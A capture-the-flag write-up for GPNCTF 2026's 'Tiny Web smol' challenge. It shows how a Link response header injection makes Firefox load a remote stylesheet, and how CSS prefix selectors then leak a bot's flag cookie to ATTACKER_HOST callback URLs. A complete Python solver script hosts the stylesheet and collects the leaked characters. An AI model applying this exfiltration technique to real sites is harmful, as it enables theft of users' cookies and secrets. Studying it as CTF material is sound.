Tiny Web smol
gpnctf
Task: Tiny Node.js app reflects the request URL into a Link response header and the bot's flag cookie into body onload. Solution: break Link syntax to inject a Firefox-loaded stylesheet, then exfiltrate the reflected flag one character at a time with CSS prefix selectors and callback URLs.
$ ls tags/ techniques/
Tiny Web smol — GPNCTF 2026
Description
No original task description was preserved in the local task directory.
We were given a very small Node.js web app behind an admin bot. The bot first visited http://localhost:8080, set document.cookie = "flag=" + FLAG, and then visited an attacker-controlled URL as long as it started with http://localhost:8080. The goal was to steal the flag from the bot.
Analysis
The application code was effectively this:
require('http').createServer((a,b)=>b.writeHead(200,{ 'content-type':'text/html', link:`<${unescape(a.url)}>;rel=preload;as=fetch` })+b.end(`<body onload=fetch('${a.headers.cookie}')>`)).listen(8080)
This gives two attacker-controlled reflections:
-
Request URL into
Linkresponse headerlink: `<${unescape(a.url)}>;rel=preload;as=fetch` -
Bot cookie into HTML attribute
<body onload=fetch('flag=GPNCTF{...}')>
The obvious first idea was CRLF response splitting through the Link header, but Node.js rejects invalid header characters, so %0d%0a injection was dead.
The important observation was that full CRLF was not necessary. If we broke out of the <...> URL value inside the Link header, Firefox would parse a second link relation from the same header value. A payload shaped like this worked:
//ATTACKER_HOST/start.css>;rel=stylesheet,<x
After URL-encoding, we sent the bot to:
http://localhost:8080/%2f%2fATTACKER_HOST%2fstart.css%3e%3brel%3dstylesheet%2c%3cx
The resulting response header became:
Link: <///ATTACKER_HOST/start.css>;rel=stylesheet,<x>;rel=preload;as=fetch
Firefox fetched and applied that remote stylesheet to the localhost:8080 document. That was the key browser-specific behavior.
Once our CSS was applied, we could target the reflected onload attribute with prefix selectors:
body[onload^="fetch('flag=GPNCTF{C"]{ background-image:url("http://ATTACKER_HOST/c?x=GPNCTF%7BC"); }
When the prefix matched, Firefox requested our callback URL. That leaked one more character of the flag. Repeating this for the next position recovered the whole flag.
One operational problem remained: the bot slept for 30 seconds after each visit. To avoid waiting for a single instance, we used three separate challenge instances in round-robin. While one bot was sleeping, the next instance could leak the next character.
Solution
- Host an attacker CSS file and a callback endpoint.
- Build a
localhost:8080URL whose path decodes to//ATTACKER/start.css>;rel=stylesheet,<x. - Send that URL to
/bot/run?url=.... - Firefox loads our stylesheet from the injected
Linkheader. - Serve CSS rules for all candidate next characters using
body[onload^="fetch('flag=PREFIX..."]selectors. - The matching rule triggers
background-image:url(http://ATTACKER/c?x=...). - Append the leaked character and repeat.
- Use three instances in rotation to hide the 30-second sleep.
#!/usr/bin/env python3 import http.server import socketserver import threading import time import urllib.parse import urllib.request import sys INSTANCES = sys.argv[1:] PUBLIC_HOST = "ATTACKER_HOST:9000" BIND_PORT = 9000 CHARSET = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}") KNOWN = "fetch('flag=" leaked = "" learned_this_run = None lock = threading.Lock() class ReuseTCPServer(socketserver.ThreadingTCPServer): allow_reuse_address = True class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): global learned_this_run, leaked u = urllib.parse.urlparse(self.path) if u.path == "/start.css": with lock: prefix = leaked css = "\n".join( f'body[onload^="{KNOWN}{prefix}{c}"]{{background-image:url("http://{PUBLIC_HOST}/c?x={urllib.parse.quote(c)}")}}' for c in CHARSET ).encode() self.send_response(200) self.send_header("Content-Type", "text/css") self.send_header("Cache-Control", "no-store") self.send_header("Content-Length", str(len(css))) self.end_headers() self.wfile.write(css) return if u.path == "/c": c = urllib.parse.parse_qs(u.query).get("x", [""])[0] with lock: if c and learned_this_run is None: learned_this_run = c self.send_response(200) self.send_header("Content-Type", "image/gif") self.send_header("Content-Length", "0") self.end_headers() return body = b"ok" self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, format, *args): return def run_server(): with ReuseTCPServer(("0.0.0.0", BIND_PORT), Handler) as httpd: httpd.serve_forever() def build_target_url(): raw = f"//{PUBLIC_HOST}/start.css>;rel=stylesheet,<x" enc = "".join("%%%02x" % ord(ch) for ch in raw) return f"http://localhost:8080/{enc}" def get(url, timeout=20): req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"}) with urllib.request.urlopen(req, timeout=timeout) as r: return r.read().decode(errors="replace") def trigger_bot_async(instance, target_url): url = f"{instance}/bot/run?url={urllib.parse.quote(target_url, safe='')}" def _run(): try: get(url, timeout=3) except Exception: pass threading.Thread(target=_run, daemon=True).start() def solve(): global leaked, learned_this_run target_url = build_target_url() ready = {inst: 0.0 for inst in INSTANCES} while True: inst = min(INSTANCES, key=lambda i: ready[i]) now = time.time() if ready[inst] > now: time.sleep(max(0.2, ready[inst] - now)) continue with lock: learned_this_run = None trigger_bot_async(inst, target_url) ready[inst] = time.time() + 31 got = None for _ in range(12): time.sleep(1) with lock: if learned_this_run is not None: got = learned_this_run break if got is None: continue leaked += got print(leaked, flush=True) if got == "}": print("FLAG:", leaked) break if __name__ == "__main__": if not INSTANCES: print("usage: solve.py <instance1> <instance2> ...") sys.exit(1) threading.Thread(target=run_server, daemon=True).start() time.sleep(1) solve()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]Trust Issues— tjctf
- [web][Pro]board_of_secrets— miptctf
- [web][free]Secure Secretpickle— gpnctf
- [web][free]Proxy— hackthebox
- [web][free]chained— tjctf